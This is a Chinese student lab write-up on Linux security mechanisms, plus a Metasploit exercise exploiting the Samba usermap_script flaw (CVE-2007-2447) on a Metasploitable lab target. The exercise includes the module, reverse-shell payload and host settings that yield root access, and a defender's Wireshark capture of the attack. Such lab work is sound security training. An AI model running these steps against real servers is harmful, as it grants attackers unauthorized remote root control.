理论知识
Linux操作系统基本框架概述
linux系统的优势
-
跨平台的硬件支持
-
丰富的软件支持
-
多用户多任务
-
可靠的安全性
-
良好的稳定性
-
完善的网络功能
-
Linux系统结构
-
Linux进程与线程管理机制:内核采用抢占式多用户多进程模式,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来选择进程来执行。
-
Linux系统的文件管理机制:使用了虚拟文件管理VFS机制,可以支持数十种不同类型的逻辑文件系统,包括ext2/ext3/ext4、vfat、ntfs等,通过设备驱动程序访问特定硬件设备。
-
Linux的设备控制机制:linux抽象了设备的处理,所有的硬件设备像常规文件一样看待
-
Linux的网络机制:网络接口可分为网络协议栈和网络驱动程序。
-
Linux的系统调用机制:系统调用通过软中断实现。
Linux身份认证机制
- Linux用户:root根用户、普通用户、系统用户
- Linux用户组:具有相同特征的用户账号集合,用于简化系统的用户权限管理
- Linux的本地登陆用户认证机制
- Linux的远程登录用户认证机制
- Linxu的统一身份认证中间件——PAM:PAM支持的四种管理界面:认证管理、账户管理、密码管理、会话管理
- Linux授权访问控制机制
- Linux虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来尽心系统的授权与访问控制。
Linux安全审计机制
该机制通过三个主要的日志子系统实现:
- 连接时间日志:由多个程序执行,把记录写入到/var/log/wtmp和/var/run/utmp,login等用户登 录程序负责更新wtmp和utmp文件,使系统管理员能够跟踪谁在何时登录到系统。
- 进程统计日志:由系统内核执行,当一个进程终止时,为每个进程往进程统计文件中写一个纪录。 进程统计的目的是为系统中的基本服务提供命令使用统计。
- 错误日志记录:由通用的日志记录服务syslogd(8)执行,各种系统守护进程、用户程序和内核通 过syslog向文件/var/log/messages报告值得注意的事件。
实践过程 使用Metaploit进行Linux远程渗透攻击
使用Metaspolit作为渗透测试软件,攻击Linux靶 机上的Samba服务usermap_script安全漏洞,获取Linux靶机的主机访问权限。实践步骤如下:
(1)启动Metasploit软件,可根据个人喜好使用msfconsole. msfgui. msfweb之一;
(2)使用exploit: exploit/multi/samba/usermap_script 渗透攻击模块;
(3)选择攻击PAYLOAD为远程Shell, (正向或反向连接均可);
(4)设置渗透攻击参数(RHOST, LHOST,TARGET 等);
(5)执行渗透攻击:
(6)查看是否正确得到远程Shell,并查看获得的权限。
Linux系统远程攻防技术
- Linux远程口令字猜测攻击
- Linux网络服务远程渗透攻击
- 攻击Linux客户端程序和用户
- 攻击Linux路由器和监听器
Linux系统本地安全攻防技术 - 本地特权提升:破解Root用户的口令、发掘su和sudo程序中的安全漏洞以及攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞。
- Linux口令字破解:通过/etc/shadow文件中纪录的口令的哈希值,用户使用login进程登陆时系统将进行相同的哈希运算,然后对比,判断。
使用Metaploit进行Linux远程渗透攻击
首先打开msfconsole
搜索查询我们需要使用的usermap漏洞
然后执行命令【use exploit/multi/samba/usermap_script】选择渗透攻击模块。通过【show payloads】会显示出有效的攻击载荷。然后通过命令【set payload cmd/unix/reverse】设置打开反向连接的载荷。payload是用来实际做什么事的代码,exploit是传送系统。接下来使用【set LHOST 192.168.200.2】设置攻击机IP地址,使用【set RHOST 192.168.200.3】设置靶机IP地址。
usermap_script是Samba协议的一个漏洞CVE-2007-2447,用户名映射脚本命令执行;通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令
通过输入shell命令,可以看到我们已经控制了靶机,可以输入ls命令查看当前目录下所有文件,后面输入whoami可以查看当前用户权限,可以看到我们已经是root权限。说明我们不需要提权了,已经是管理员权限了。
攻防对抗实践:
攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机实施网络攻击,防御方则在Metasploitable上使用tcpdump或wireshark或snort工具捕获攻击流,并分析出攻击者利用了哪个安全漏洞进行攻击,从官方网站上下载该安全漏洞补丁进行系统修复,双方合作给出攻防过程报告
攻击方:使用Metasploit,选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步 获得root权限。
防守方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过 程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode,以及成功之后 在本地执行命令输入等信息。
实验步骤如上一个实践,不同的是在攻击之前打开wireshark
可以看到攻击机192.168.200.2给靶机192.168.200.125发送了一个tcp连接请求这是最开始的时候,攻击发起时间应该就是第一个TCP,攻击的目标端口是139
攻击时发送shellcode
本地输入命令时监测的shell命令
学习中遇到的问题及解决
不同的系统在不同的网段中有时会导致攻击失败